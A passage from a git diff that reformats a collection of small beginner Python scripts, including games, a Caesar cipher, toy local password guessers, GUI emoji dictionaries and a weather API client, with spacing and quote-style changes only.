Four": - playerDraw = playerTurn+playDirection + playerDraw = playerTurn + playDirection if playerDraw == numPlayers: playerDraw = 0 elif playerDraw < 0: - playerDraw = numPlayers-1 + playerDraw = numPlayers - 1 players[playerDraw].extend(drawCards(4)) print("") else: @@ -180,7 +183,7 @@ def canPlay(colour, value, playerHand): if playerTurn >= numPlayers: playerTurn = 0 elif playerTurn < 0: - playerTurn = numPlayers-1 + playerTurn = numPlayers - 1 print("Game Over") print("{} is the Winner!".format(winner)) diff --git a/BrowserHistory/backend.py b/BrowserHistory/backend.py index 89df7a0da8b..2b39a255934 100644 --- a/BrowserHistory/backend.py +++ b/BrowserHistory/backend.py @@ -1,10 +1,11 @@ class DLL: """ - a doubly linked list that holds the current page, - next page, and previous page. - Used to enforce order in operations. + a doubly linked list that holds the current page, + next page, and previous page. + Used to enforce order in operations. """ - def __init__(self, val: str =None): + + def __init__(self, val: str = None): self.val = val self.nxt = None self.prev = None @@ -31,7 +32,7 @@ def __init__(self, homepage: str): self._curr = self._head self._back_count = 0 self._forward_count = 0 - + def visit(self, url: str) -> None: """ Returns - None @@ -45,12 +46,12 @@ def visit(self, url: str) -> None: # Clear forward history to prevent memory leaks self._curr.nxt = None self._forward_count = 0 - + # Create and link new node url_node = DLL(url) self._curr.nxt = url_node url_node.prev = self._curr - + # Update current node and counts self._curr = url_node self._back_count += 1 @@ -90,7 +91,7 @@ def forward(self, steps: int) -> str: self._forward_count -= 1 self._back_count += 1 return self._curr.val - + if __name__ == "__main__": obj = BrowserHistory("google.com") diff --git a/BrowserHistory/tests/test_browser_history.py b/BrowserHistory/tests/test_browser_history.py index 829f326c238..b1e0af744f7 100644 --- a/BrowserHistory/tests/test_browser_history.py +++ b/BrowserHistory/tests/test_browser_history.py @@ -6,6 +6,7 @@ sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from backend import BrowserHistory + class TestBrowserHistory(unittest.TestCase): def setUp(self): """Set up test cases""" @@ -38,7 +39,7 @@ def test_back_navigation(self): # Setup history self.browser.visit("page1.com") self.browser.visit("page2.com") - + # Test normal back navigation result = self.browser.back(1) self.assertEqual(result, "page1.com") @@ -57,7 +58,7 @@ def test_forward_navigation(self): self.browser.visit("page1.com") self.browser.visit("page2.com") self.browser.back(2) # Go back to homepage - + # Test normal forward navigation result = self.browser.forward(1) self.assertEqual(result, "page1.com") @@ -75,17 +76,18 @@ def test_complex_navigation(self): self.browser.visit("page1.com") self.browser.visit("page2.com") self.browser.visit("page3.com") - + # Back navigation self.assertEqual(self.browser.back(2), "page1.com") - + # New visit should clear forward history self.browser.visit("page4.com") self.assertEqual(self.browser._forward_count, 0) self.assertIsNone(self.browser._curr.nxt) - + # Verify we can't go forward to cleared history self.assertEqual(self.browser.forward(1), "page4.com") -if __name__ == '__main__': - unittest.main() \ No newline at end of file + +if __name__ == "__main__": + unittest.main() diff --git a/BruteForce.py b/BruteForce.py index 46b17844e26..eee2b7b7465 100644 --- a/BruteForce.py +++ b/BruteForce.py @@ -2,17 +2,14 @@ def findPassword(chars, function, show=50, format_="%s"): - password = None attempts = 0 size = 1 stop = False while not stop: - # Obtém todas as combinações possíveis com os dígitos do parâmetro "chars". for pw in product(chars, repeat=size): - password = "".join(pw) # Imprime a senha que será tentada. @@ -56,7 +53,6 @@ def getChars(): # Para realizar o teste, o usuário deverá inserir uma senha para ser encontrada. if __name__ == "__main__": - import datetime import time diff --git a/CSV_file.py b/CSV_file.py index d67e23064c4..ba7e4154b93 100644 --- a/CSV_file.py +++ b/CSV_file.py @@ -2,13 +2,15 @@ # loading the dataset -df= pd.read_csv(r"c:\PROJECT\Drug_Recommendation_System\drug_recommendation_system\Drugs_Review_Datasets.csv") +df = pd.read_csv( + r"c:\PROJECT\Drug_Recommendation_System\drug_recommendation_system\Drugs_Review_Datasets.csv" +) -print(df) #prints Dataset +print(df) # prints Dataset # funtions print(df.tail()) print(df.head()) print(df.info()) print(df.describe()) print(df.column) -print(df.shape()) \ No newline at end of file +print(df.shape()) diff --git a/Caesar Cipher Encoder & Decoder.py b/Caesar Cipher Encoder & Decoder.py index 63097b39e17..0db15ae6911 100644 --- a/Caesar Cipher Encoder & Decoder.py +++ b/Caesar Cipher Encoder & Decoder.py @@ -6,6 +6,7 @@ # Improved by: OfficialAhmed (https://github.com/OfficialAhmed) + def get_int() -> int: """ Get integer, otherwise redo @@ -19,13 +20,12 @@ def get_int() -> int: return key -def main(): +def main(): print("[>] CAESAR CIPHER DECODER!!! \n") print("[1] Encrypt\n[2] Decrypt") match input("Choose one of the above(example for encode enter 1): "): - case "1": encode() @@ -38,13 +38,11 @@ def main(): def encode(): - encoded_cipher = "" text = input("Enter text to encode: ") key = get_int() - + for char in text: - ascii = ord(char) + key encoded_cipher += chr(ascii) @@ -52,7 +50,6 @@ def encode(): def decode(): - decoded_cipher = "" cipher = input("\n[>] Enter your cipher text: ") key = get_int() @@ -64,5 +61,5 @@ def decode(): print(decoded_cipher) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/Calculate resistance.py b/Calculate resistance.py index ee6f10319a1..06dff0b5723 100644 --- a/Calculate resistance.py +++ b/Calculate resistance.py @@ -1,16 +1,18 @@ -def res(R1, R2): - sum = R1 + R2 - if option =="series": - return sum - elif option =="parallel" : - return (R1 * R2)/sum - return 0 -Resistance1 = int(input("Enter R1 : ")) -Resistance2 = int(input("Enter R2 : ")) -option = input("Enter series or parallel :") -print("\n") -R = res(Resistance1,Resistance2 ) -if R==0: - print('Wrong Input!!' ) +def res(R1, R2): + sum = R1 + R2 + if option == "series": + return sum + elif option == "parallel": + return (R1 * R2) / sum + return 0 + + +Resistance1 = int(input("Enter R1 : ")) +Resistance2 = int(input("Enter R2 : ")) +option = input("Enter series or parallel :") +print("\n") +R = res(Resistance1, Resistance2) +if R == 0: + print("Wrong Input!!") else: print("The total resistance is", R) diff --git a/Calendar (GUI).py b/Calendar (GUI).py index 1649a78785d..648f60bff9f 100644 --- a/Calendar (GUI).py +++ b/Calendar (GUI).py @@ -7,6 +7,7 @@ # Function + def text(): month_int = int(month.get()) year_int = int(year.get()) diff --git a/Cat/cat.py b/Cat/cat.py index 552ed6c1e7a..0c9ba120255 100644 --- a/Cat/cat.py +++ b/Cat/cat.py @@ -20,8 +20,10 @@ David Costell (DontEatThemCookies on GitHub) v2 - 03/12/2022 """ + import sys + def with_files(files): """Executes when file(s) is/are specified.""" try: @@ -35,6 +37,7 @@ def with_files(files): for contents in file_contents: sys.stdout.write(contents) + def no_files(): """Executes when no file(s) is/are specified.""" try: @@ -47,6 +50,7 @@ def no_files(): except EOFError: exit() + def main(): """Entry point of the cat program.""" # Read the arguments passed to the program @@ -55,5 +59,6 @@ def main(): else: with_files(sys.argv[1:]) + if __name__ == "__main__": main() diff --git a/Checker_game_by_dz/first.py b/Checker_game_by_dz/first.py index 55c572e3629..0b6825590f8 100644 --- a/Checker_game_by_dz/first.py +++ b/Checker_game_by_dz/first.py @@ -16,6 +16,7 @@ WIN = pg.display.set_mode((st.width, st.height)) pg.display.set_caption("Checkers") + # get row and col for mouse def get_row_col_mouse(pos): x, y = pos @@ -26,7 +27,6 @@ def get_row_col_mouse(pos): # main function if __name__ == "__main__": - # represents the game run = True diff --git a/Checker_game_by_dz/modules/checker_board.py b/Checker_game_by_dz/modules/checker_board.py index b14df11b360..0e8615ee292 100644 --- a/Checker_game_by_dz/modules/checker_board.py +++ b/Checker_game_by_dz/modules/checker_board.py @@ -7,6 +7,7 @@ from .statics import * from .pieces import * + # checker board creation class checker_board: def __init__(self): diff --git a/Checker_game_by_dz/modules/pieces.py b/Checker_game_by_dz/modules/pieces.py index 2a0b2de413f..3298836e1a6 100644 --- a/Checker_game_by_dz/modules/pieces.py +++ b/Checker_game_by_dz/modules/pieces.py @@ -8,7 +8,6 @@ class pieces: - padding = 17 outline = 2 diff --git a/Chrome Dino Automater.py b/Chrome Dino Automater.py index c5668832556..60cb1e409be 100644 --- a/Chrome Dino Automater.py +++ b/Chrome Dino Automater.py @@ -11,7 +11,6 @@ def hit(key): def isCollide(data): - # for cactus for i in range(329, 425): for j in range(550, 650): diff --git a/CliYoutubeDownloader.py b/CliYoutubeDownloader.py index 7b9d3d4bf1d..a177b65b891 100644 --- a/CliYoutubeDownloader.py +++ b/CliYoutubeDownloader.py @@ -67,7 +67,7 @@ def download(self): def onProgress(stream=None, chunk=None, remaining=None): file_downloaded = file_size - (remaining / 1000000) print( - f"downloading ... {file_downloaded/file_size*100:0.2f} % [{file_downloaded:.1f}MB of {file_size:.1f}MB]", + f"downloading ... {file_downloaded / file_size * 100:0.2f} % [{file_downloaded:.1f}MB of {file_size:.1f}MB]", end="\r", ) diff --git a/CliYoutubeDownloader/CliYoutubeDownloader.py b/CliYoutubeDownloader/CliYoutubeDownloader.py index 7b201a920e2..63a7d5fb84b 100644 --- a/CliYoutubeDownloader/CliYoutubeDownloader.py +++ b/CliYoutubeDownloader/CliYoutubeDownloader.py @@ -69,7 +69,7 @@ def download(self): def onProgress(stream=None, chunk=None, remaining=None): file_downloaded = file_size - (remaining / 1000000) print( - f"Downloading ... {file_downloaded/file_size*100:0.2f} % [{file_downloaded:.1f}MB of {file_size:.1f}MB]", + f"Downloading ... {file_downloaded / file_size * 100:0.2f} % [{file_downloaded:.1f}MB of {file_size:.1f}MB]", end="\r", ) diff --git a/Colors/multicoloredline.py b/Colors/multicoloredline.py index fdbe1c45881..e0d0d062cd7 100644 --- a/Colors/multicoloredline.py +++ b/Colors/multicoloredline.py @@ -11,14 +11,12 @@ console.rule("[bold]Welcome to Rich Terminal[/bold]", style="rainbow") # Define some JSON data -json_data = { - "message": "Hello, World!", - "status": "success", - "code": 200 -} +json_data = {"message": "Hello, World!", "status": "success", "code": 200} # Print JSON with syntax highlighting -syntax = Syntax(json.dumps(json_data, indent=4), "json", theme="monokai", line_numbers=True) +syntax = Syntax( + json.dumps(json_data, indent=4), "json", theme="monokai", line_numbers=True +) console.print(syntax) # Simulating a progress bar diff --git a/Colors/pixel_sort.py b/Colors/pixel_sort.py index 920e034817f..f6fa4d56507 100644 --- a/Colors/pixel_sort.py +++ b/Colors/pixel_sort.py @@ -30,6 +30,7 @@ total = 0 dict, final, img_list = {}, [], [] + # Create dataframe and save it as an excel file def createDataSet(val=0, data=[]): global dict diff --git a/Colors/primary_colors.py b/Colors/primary_colors.py index 107056fbd7d..e86c0154d52 100644 --- a/Colors/primary_colors.py +++ b/Colors/primary_colors.py @@ -14,7 +14,6 @@ def simpleColor(r, g, b): try: # ROJO -------------------------------------------------- if r > g and r > b: - rg = diff(r, g) # distancia rojo a verde rb = diff(r, b) # distancia rojo a azul @@ -84,7 +83,6 @@ def simpleColor(r, g, b): if r > b: # ROJO > AZUL if gr < gb: # Verde con Rojo - if rb >= 150 and gr <= 20: return "AMARILLO" else: @@ -94,7 +92,6 @@ def simpleColor(r, g, b): elif r < b: # AZUL > ROJO if gb < gr: # Verde con Azul - if gb <= 20: return "TURQUESA" else: @@ -167,7 +164,6 @@ def simpleColor(r, g, b): return "GRIS" except: - return "Not Color" diff --git a/Colors/print_colors.py b/Colors/print_colors.py index 6aacaa9d4b4..dedd96c028c 100644 --- a/Colors/print_colors.py +++ b/Colors/print_colors.py @@ -1,4 +1,6 @@ import sys + + class colors: CYAN = "\033[36m" GREEN = "\033[32m" @@ -6,8 +8,12 @@ class colors: BLUE = "\033[34m" RED = "\033[31m" ENDC = "\033[0m" + + def printc(color, message): print(color + message + colors.ENDC) + + printc(colors.CYAN, sys.argv[1]) printc(colors.GREEN, sys.argv[1]) printc(colors.YELLOW, sys.argv[1]) diff --git a/CountMillionCharacter.py b/CountMillionCharacter.py index bd6d73c785e..a5c7bac77e2 100644 --- a/CountMillionCharacter.py +++ b/CountMillionCharacter.py @@ -6,6 +6,7 @@ Credit to William J. Turkel and Adam Crymble for the word frequency code used below. I just merged the two ideas. """ + import re pattern = re.compile(r"\W") # re is used to compile the expression more than once diff --git a/Crack_password.py b/Crack_password.py index 6941b6236e5..986ced1b1bb 100644 --- a/Crack_password.py +++ b/Crack_password.py @@ -1,11 +1,65 @@ from random import * + user_pass = input("Enter your password: ") -password = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j','k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't','u','v','w', 'x', 'y', 'z',"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"] +password = [ + "a", + "b", + "c", + "d", + "e", + "f", + "g", + "h", + "i", + "j", + "k", + "l", + "m", + "n", + "o", + "p", + "q", + "r", + "s", + "t", + "u", + "v", + "w", + "x", + "y", + "z", + "A", + "B", + "C", + "D", + "E", + "F", + "G", + "H", + "I", + "J", + "K", + "L", + "M", + "N", + "O", + "P", + "Q", + "R", + "S", + "T", + "U", + "V", + "W", + "X", + "Y", + "Z", +] guess = "" -while (guess != user_pass): +while guess != user_pass: guess = "" for letter in range(len(user_pass)): guess_letter = password[randint(0, 51)] guess = str(guess_letter) + str(guess) print(guess) -print("Your password is",guess) +print("Your password is", guess) diff --git a/Day_of_week.py b/Day_of_week.py index f0f9fd6f3b5..c9c36bfada2 100644 --- a/Day_of_week.py +++ b/Day_of_week.py @@ -12,9 +12,9 @@ def process_date(user_input): def find_day(date): - born = datetime.datetime.strptime( - date, "%d %m %Y" - ).weekday() # this statement returns an integer corresponding to the day of the week + born = ( + datetime.datetime.strptime(date, "%d %m %Y").weekday() + ) # this statement returns an integer corresponding to the day of the week return calendar.day_name[ born ] # this statement returns the corresponding day name to the integer generated in the previous statement diff --git a/Decimal_To_Binary.py b/Decimal_To_Binary.py index a8e85097a14..a2a6fff5ec6 100644 --- a/Decimal_To_Binary.py +++ b/Decimal_To_Binary.py @@ -3,7 +3,6 @@ def dtbconverter(num): - whole = [] fractional = ["."] @@ -47,10 +46,10 @@ def dtbconverter(num): THis program accepts fractional values, the accuracy can be set below: """ + # Function to convert decimal number # to binary using recursion def DecimalToBinary(num): - if num > 1: DecimalToBinary(num // 2) print(num % 2, end="") @@ -58,7 +57,6 @@ def DecimalToBinary(num): # Driver Code if __name__ == "__main__": - # decimal value dec_val = 24 diff --git a/Divide Operator.py b/Divide Operator.py index 3e6468f6daf..7a2c8a2ed65 100644 --- a/Divide Operator.py +++ b/Divide Operator.py @@ -1,5 +1,5 @@ class DivisionOperation: - INT_MAX = float('inf') + INT_MAX = float("inf") def __init__(self, num1, num2): self.num1 = num1 diff --git a/Droplistmenu/GamesCalender.py b/Droplistmenu/GamesCalender.py index 990a164bd93..12a29d110e6 100644 --- a/Droplistmenu/GamesCalender.py +++ b/Droplistmenu/GamesCalender.py @@ -1,4 +1,3 @@ - from tkinter import * from tkcalendar import Calendar import tkinter as tk @@ -9,26 +8,21 @@ # Adjust size window.geometry("600x500") -gameList =["Game List:"] +gameList = ["Game List:"] + + # Change the label text def show(): - game = selected1.get() + " vs " + selected2.get()+" on "+cal.get_date() + game = selected1.get() + " vs " + selected2.get() + " on " + cal.get_date() gameList.append(game) - #print(gameList) + # print(gameList) gameListshow = "\n".join(gameList) - #print(gameList) + # print(gameList) label.config(text=gameListshow) # Dropdown menu options -options = [ - "Team 1", - "Team 2", - "Team 3", - "Team 4", - "Team 5", - "Team 6" -] +options = ["Team 1", "Team 2", "Team 3", "Team 4", "Team 5", "Team 6"] # datatype of menu text selected1 = StringVar() @@ -53,19 +47,16 @@ def show(): drop2.place(x=100, y=110) # Add Calendar -cal = Calendar(window, selectmode='day', - year=2022, month=12, - day=1) +cal = Calendar(window, selectmode="day", year=2022, month=12, day=1) cal.place(x=300, y=20) - # Create button, it will change label text -button = Button( window, text="Add to calender", command=show).place(x=100,y=200) +button = Button(window, text="Add to calender", command=show).place(x=100, y=200) # Create Label label = Label(window, text=" ") label.place(x=150, y=250) -window.mainloop() \ No newline at end of file +window.mainloop() diff --git a/Electronics_Algorithms/resistance.py b/Electronics_Algorithms/resistance.py index c088732d90c..07cf335607c 100644 --- a/Electronics_Algorithms/resistance.py +++ b/Electronics_Algorithms/resistance.py @@ -1,69 +1,40 @@ -def resistance_calculator(material:str, lenght:float, section:float, temperature:float): - """ - material is a string indicating the material of the wire - - lenght is a floating value indicating the lenght of the wire in meters - - diameter is a floating value indicating the diameter of the wire in millimeters - - temperature is a floating value indicating the temperature at which the wire is operating in °C - - Available materials: - - silver - - copper - - aluminium - - tungsten - - iron - - steel - - zinc - - solder""" - - materials = { - "silver": { - "rho": 0.0163, - "coefficient": 0.0038 - }, - - "copper": { - "rho": 0.0178, - "coefficient": 0.00381 - }, - - "aluminium": { - "rho": 0.0284, - "coefficient": 0.004 - }, - - "tungsten": { - "rho": 0.055, - "coefficient": 0.0045 - }, - - "iron": { - "rho": 0.098, - "coefficient": 0.006 - }, - - "steel": { - "rho": 0.15, - "coefficient": 0.0047 - }, - - "zinc": { - "rho": 0.06, - "coefficient": 0.0037 - }, - - "solder": { - "rho": 0.12, - "coefficient": 0.0043 - } - } - - rho_20deg = materials[material]["rho"] - temp_coefficient = materials[material]["coefficient"] - - rho = rho_20deg * (1 + temp_coefficient * (temperature - 20)) - resistance = rho * lenght / section - - return f"{resistance}Ω" +def resistance_calculator( + material: str, lenght: float, section: float, temperature: float +): + """ + material is a string indicating the material of the wire + + lenght is a floating value indicating the lenght of the wire in meters + + diameter is a floating value indicating the diameter of the wire in millimeters + + temperature is a floating value indicating the temperature at which the wire is operating in °C + + Available materials: + - silver + - copper + - aluminium + - tungsten + - iron + - steel + - zinc + - solder""" + + materials = { + "silver": {"rho": 0.0163, "coefficient": 0.0038}, + "copper": {"rho": 0.0178, "coefficient": 0.00381}, + "aluminium": {"rho": 0.0284, "coefficient": 0.004}, + "tungsten": {"rho": 0.055, "coefficient": 0.0045}, + "iron": {"rho": 0.098, "coefficient": 0.006}, + "steel": {"rho": 0.15, "coefficient": 0.0047}, + "zinc": {"rho": 0.06, "coefficient": 0.0037}, + "solder": {"rho": 0.12, "coefficient": 0.0043}, + } + + rho_20deg = materials[material]["rho"] + temp_coefficient = materials[material]["coefficient"] + + rho = rho_20deg * (1 + temp_coefficient * (temperature - 20)) + resistance = rho * lenght / section + + return f"{resistance}Ω" diff --git a/Emoji Dictionary/QT_GUI.py b/Emoji Dictionary/QT_GUI.py index a4dd819ccb8..ef3f6f0cf40 100644 --- a/Emoji Dictionary/QT_GUI.py +++ b/Emoji Dictionary/QT_GUI.py @@ -1,4 +1,3 @@ - # -*- coding: utf-8 -*- import sys @@ -9,59 +8,130 @@ from emoji import demojize import os + class MainWindow(QMainWindow): - def __init__(self): - super(MainWindow, self).__init__() - - # Load the UI file - uic.loadUi(os.path.join(os.path.dirname(__file__),'QT_GUI.ui'),self) - self.pushButton_4.clicked.connect(self.close) - self.pushButton_2.clicked.connect(lambda:search_emoji()) - self.pushButton_3.clicked.connect(lambda:clear_text()) - cells = [ - - ["🐒", "🐕", "🐎", "🐪", "🐁", "🐘", "🦘", "🦈", "🐓", "🐝", "👀", "🦴", "👩🏿", "‍🤝", "🧑", "🏾", "👱🏽", "‍♀", "🎞", "🎨", "⚽"], - ["🍕", "🍗", "🍜", "☕", "🍴", "🍉", "🍓", "🌴", "🌵", "🛺", "🚲", "🛴", "🚉", "🚀", "✈", "🛰", "🚦", "🏳", "‍🌈", "🌎", "🧭"], - ["🔥", "❄", "🌟", "🌞", "🌛", "🌝", "🌧", "🧺", "🧷", "🪒", "⛲", "🗼", "🕌", "👁", "‍🗨", "💬", "™", "💯", "🔕", "💥", "❤"], - ["😀", "🥰", "😴", "🤓", "🤮", "🤬", "😨", "🤑", "😫", "😎"], - ] - def emoji_wight_btn(): - if self.emoji_widget.isVisible(): - self.emoji_widget.hide() - else: - self.emoji_widget.show() - - def search_emoji(): + def __init__(self): + super(MainWindow, self).__init__() + + # Load the UI file + uic.loadUi(os.path.join(os.path.dirname(__file__), "QT_GUI.ui"), self) + self.pushButton_4.clicked.connect(self.close) + self.pushButton_2.clicked.connect(lambda: search_emoji()) + self.pushButton_3.clicked.connect(lambda: clear_text()) + cells = [ + [ + "🐒", + "🐕", + "🐎", + "🐪", + "🐁", + "🐘", + "🦘", + "🦈", + "🐓", + "🐝", + "👀", + "🦴", + "👩🏿", + "‍🤝", + "🧑", + "🏾", + "👱🏽", + "‍♀", + "🎞", + "🎨", + "⚽", + ], + [ + "🍕", + "🍗", + "🍜", + "☕", + "🍴", + "🍉", + "🍓", + "🌴", + "🌵", + "🛺", + "🚲", + "🛴", + "🚉", + "🚀", + "✈", + "🛰", + "🚦", + "🏳", + "‍🌈", + "🌎", + "🧭", + ], + [ + "🔥", + "❄", + "🌟", + "🌞", + "🌛", + "🌝", + "🌧", + "🧺", + "🧷", + "🪒", + "⛲", + "🗼", + "🕌", + "👁", + "‍🗨", + "💬", + "™", + "💯", + "🔕", + "💥", + "❤", + ], + ["😀", "🥰", "😴", "🤓", "🤮", "🤬", "😨", "🤑", "😫", "😎"], + ] + + def emoji_wight_btn(): + if self.emoji_widget.isVisible(): + self.emoji_widget.hide() + else: + self.emoji_widget.show() + + def search_emoji(): word = self.lineEdit.text() - print(f"Field Text: {word}") + print(f"Field Text: {word}") if word == "": - self.textEdit.setText("You have entered no emoji.") + self.textEdit.setText("You have entered no emoji.") else: - means = demojize(word) - self.textEdit.setText("Meaning of Emoji : " + str(word) + "\n\n" + means.replace("::", ":\n: ")) - - def add_input_emoji(emoji): - self.lineEdit.setText(self.lineEdit.text() + emoji) - - def clear_text(): - self.lineEdit.setText("") - self.textEdit.setText("") - - self.emoji_buttons = [] - self.emoji_layout = QGridLayout() - self.emoji_widget = QWidget() - self.emoji_widget.setLayout(self.emoji_layout) - self.frame_2.layout().addWidget(self.emoji_widget) - self.emoji_widget.hide() - self.pushButton.clicked.connect(lambda:emoji_wight_btn()) - - - for row_idx, row in enumerate(cells): - for col_idx, emoji in enumerate(row): - button = QPushButton(emoji) - button.setFixedSize(40, 40) - button.setFont(QFont("Arial", 20)) - button.setStyleSheet(""" + means = demojize(word) + self.textEdit.setText( + "Meaning of Emoji : " + + str(word) + + "\n\n" + + means.replace("::", ":\n: ") + ) + + def add_input_emoji(emoji): + self.lineEdit.setText(self.lineEdit.text() + emoji) + + def clear_text(): + self.lineEdit.setText("") + self.textEdit.setText("") + + self.emoji_buttons = [] + self.emoji_layout = QGridLayout() + self.emoji_widget = QWidget() + self.emoji_widget.setLayout(self.emoji_layout) + self.frame_2.layout().addWidget(self.emoji_widget) + self.emoji_widget.hide() + self.pushButton.clicked.connect(lambda: emoji_wight_btn()) + + for row_idx, row in enumerate(cells): + for col_idx, emoji in enumerate(row): + button = QPushButton(emoji) + button.setFixedSize(40, 40) + button.setFont(QFont("Arial", 20)) + button.setStyleSheet(""" QPushButton { background-color: #ffffff; border: 1px solid #e0e0e0; @@ -71,11 +141,12 @@ def clear_text(): background-color: #f0f0f0; } """) - button.clicked.connect(lambda checked, e=emoji: add_input_emoji(e)) - self.emoji_layout.addWidget(button, row_idx, col_idx) - self.emoji_buttons.append(button) - -if __name__ == '__main__': + button.clicked.connect(lambda checked, e=emoji: add_input_emoji(e)) + self.emoji_layout.addWidget(button, row_idx, col_idx) + self.emoji_buttons.append(button) + + +if __name__ == "__main__": app = QApplication(sys.argv) window = MainWindow() window.show() diff --git a/Emoji Dictionary/emoji_dictionary.py b/Emoji Dictionary/emoji_dictionary.py index db13725f1fe..043160a8a75 100644 --- a/Emoji Dictionary/emoji_dictionary.py +++ b/Emoji Dictionary/emoji_dictionary.py @@ -10,7 +10,6 @@ class Keypad(tk.Frame): - cells = [ ["😀", "🥰", "😴", "🤓", "🤮", "🤬", "😨", "🤑", "😫", "😎"], [ @@ -313,6 +312,7 @@ def on_inputentry_click(event): ) outputtxt.place(x=120, y=400) + # function for exiting def exit_win(): if mbox.askokcancel("Exit", "Do you want to exit?"): diff --git a/Encryption using base64.py b/Encryption using base64.py index a5d874e00e2..6e2bc924f1f 100644 --- a/Encryption using base64.py +++ b/Encryption using base64.py @@ -1,14 +1,15 @@ import base64 -#Encryption + +# Encryption message = input() -message_bytes = message.encode('ascii') +message_bytes = message.encode("ascii") base64_bytes = base64.b64encode(message_bytes) -base64_message = base64_bytes.decode('ascii') +base64_message = base64_bytes.decode("ascii") print(base64_message) -#Decryption -base64_bytes = base64_message.encode('ascii') +# Decryption +base64_bytes = base64_message.encode("ascii") message_bytes = base64.b64decode(base64_bytes) -message = message_bytes.decode('ascii') +message = message_bytes.decode("ascii") print(message) diff --git a/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py b/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py index 76ca3b43eb7..c7ecd32ef75 100644 --- a/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py +++ b/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py @@ -1,6 +1,7 @@ import cv2 import os + def extract_thumbnail(video_path, frame_size): """ Extracts a thumbnail frame from a video and saves it as an image file. @@ -18,22 +19,30 @@ def extract_thumbnail(video_path, frame_size): Example: extract_thumbnail('my_video.mp4', (320, 240)) - + Required Packages: cv2 (pip install cv2) - + This function is useful for generating thumbnail images from videos. """ video_capture = cv2.VideoCapture(video_path) # Open the video file for reading - total_frames = int(video_capture.get(cv2.CAP_PROP_FRAME_COUNT)) # Get the total number of frames in the video + total_frames = int( + video_capture.get(cv2.CAP_PROP_FRAME_COUNT) + ) # Get the total number of frames in the video middle_frame_index = total_frames // 2 # Calculate the index of the middle frame - video_capture.set(cv2.CAP_PROP_POS_FRAMES, middle_frame_index) # Seek to the middle frame + video_capture.set( + cv2.CAP_PROP_POS_FRAMES, middle_frame_index + ) # Seek to the middle frame success, frame = video_capture.read() # Read the middle frame video_capture.release() # Release the video capture object if success: - frame = cv2.resize(frame, frame_size) # Resize the frame to the specified dimensions + frame = cv2.resize( + frame, frame_size + ) # Resize the frame to the specified dimensions thumbnail_filename = f"{os.path.basename(video_path)}_thumbnail.jpg" # Create a filename for the thumbnail cv2.imwrite(thumbnail_filename, frame) # Save the thumbnail frame as an image else: - raise Exception("Could not extract frame") # Raise an exception if frame extraction fails + raise Exception( + "Could not extract frame" + ) # Raise an exception if frame extraction fails diff --git a/FIND FACTORIAL OF A NUMBER.py b/FIND FACTORIAL OF A NUMBER.py index 37bc7cd8c01..2ad83891877 100644 --- a/FIND FACTORIAL OF A NUMBER.py +++ b/FIND FACTORIAL OF A NUMBER.py @@ -1,13 +1,18 @@ # Python program to find the factorial of a number provided by the user. + def factorial(n): - if n < 0: # factorial of number less than 0 is not possible - return "Oops!Factorial Not Possible" - elif n == 0: # 0! = 1; when n=0 it returns 1 to the function which is calling it previously. - return 1 - else: - return n*factorial(n-1) -#Recursive function. At every iteration "n" is getting reduced by 1 until the "n" is equal to 0. - -n = int(input("Enter a number: ")) # asks the user for input -print(factorial(n)) # function call + if n < 0: # factorial of number less than 0 is not possible + return "Oops!Factorial Not Possible" + elif ( + n == 0 + ): # 0! = 1; when n=0 it returns 1 to the function which is calling it previously. + return 1 + else: + return n * factorial(n - 1) + + +# Recursive function. At every iteration "n" is getting reduced by 1 until the "n" is equal to 0. + +n = int(input("Enter a number: ")) # asks the user for input +print(factorial(n)) # function call diff --git a/Face and eye Recognition/face_recofnation_first.py b/Face and eye Recognition/face_recofnation_first.py index c60faba84db..e50e6fa24f3 100644 --- a/Face and eye Recognition/face_recofnation_first.py +++ b/Face and eye Recognition/face_recofnation_first.py @@ -49,4 +49,4 @@ def detect_faces_and_eyes(): if __name__ == "__main__": # Call the main function - detect_faces_and_eyes() \ No newline at end of file + detect_faces_and_eyes() diff --git a/Face_Mask_detection (haarcascade)/mask_detection.py b/Face_Mask_detection (haarcascade)/mask_detection.py index a36382841c2..99396d5576f 100644 --- a/Face_Mask_detection (haarcascade)/mask_detection.py +++ b/Face_Mask_detection (haarcascade)/mask_detection.py @@ -21,7 +21,7 @@ cv2.imshow("webcam", img) faces = faceCascade.detectMultiScale(img, 1.1, 4) - for (x, y, w, h) in faces: + for x, y, w, h in faces: crop_img = img[y : y + h, x : x + w] crop_img = cv2.resize(crop_img, (224, 224)) normalized_image_array = (crop_img.astype(np.float32) / 127.0) - 1 diff --git a/FibonacciNumbersWithGenerators.py b/FibonacciNumbersWithGenerators.py index 5d090a0a7ea..15771630222 100644 --- a/FibonacciNumbersWithGenerators.py +++ b/FibonacciNumbersWithGenerators.py @@ -1,10 +1,10 @@ -def fibonacci_generator(n = None): +def fibonacci_generator(n=None): """ - Generating function up to n fibonacci numbers iteratively - Params: - n: int - Return: - int + Generating function up to n fibonacci numbers iteratively + Params: + n: int + Return: + int """ f0, f1 = 0, 1 yield f1 @@ -14,5 +14,6 @@ def fibonacci_generator(n = None): f0, f1 = f1, fn n -= 1 + for n_fibo in fibonacci_generator(7): print(n_fibo) diff --git a/Find current weather of any city using openweathermap API.py b/Find current weather of any city using openweathermap API.py index 18ee1555d1b..c5848559880 100644 --- a/Find current weather of any city using openweathermap API.py +++ b/Find current weather of any city using openweathermap API.py @@ -1,72 +1,73 @@ -# Python program to find current -# weather details of any city -# using openweathermap api +# Python program to find current +# weather details of any city +# using openweathermap api -# import required modules +# import required modules import requests -# Enter your API key here +# Enter your API key here api_key = "Your_API_Key" -# base_url variable to store url +# base_url variable to store url base_url = "http://api.openweathermap.org/data/2.5/weather?" -# Give city name -city_name = input("Enter city name : ") - -# complete_url variable to store -# complete url address -complete_url = base_url + "appid=" + api_key + "&q=" + city_name - -# get method of requests module -# return response object -response = requests.get(complete_url) - -# json method of response object -# convert json format data into -# python format data -x = response.json() - -# Now x contains list of nested dictionaries -# Check the value of "cod" key is equal to -# "404", means city is found otherwise, -# city is not found -if x["cod"] != "404": - - # store the value of 